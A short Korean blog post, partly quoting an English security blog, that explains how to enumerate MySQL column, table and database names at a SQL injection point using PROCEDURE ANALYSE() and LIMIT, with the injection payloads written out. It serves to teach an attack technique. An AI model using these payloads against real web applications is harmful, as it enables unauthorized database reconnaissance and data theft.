일반적인 mysql 컬럼 보는 방법은
union select table_name,column_name from information_schema.columns
이런식으로 많이들 본다
procedure을 사용해서 보는 방법이 있어 소개 하려한다
SELECT id, name, pass FROM users WHERE id = x
while x is our injection point. Now you can use
x = 1 PROCEDURE ANALYSE()
to get all column names, including the database and table name currently selected. You will see something like this:
test.users.id
test.users.name
test.users.pass
Depending on the webapp you will need to use LIMIT to enumerate the result of PROCEDURE ANALYSE() line by line which contains the names in the first column of each row:
x = 1 PROCEDURE ANALYSE() #get first column namex = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name
http://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/
'컴터 때찌 > Experience' 카테고리의 다른 글
Local File Inclusion&Remote File Inclusion (0) | 2010.10.20 |
---|---|
SQL injection을 방지하는 위해 사용하는 두가지 방법 (2) | 2010.09.17 |
addslashed() 함수 우회법 (1) | 2010.09.13 |
위키 백과 [ Hotspot ] (0) | 2010.06.22 |
무선 (0) | 2010.06.22 |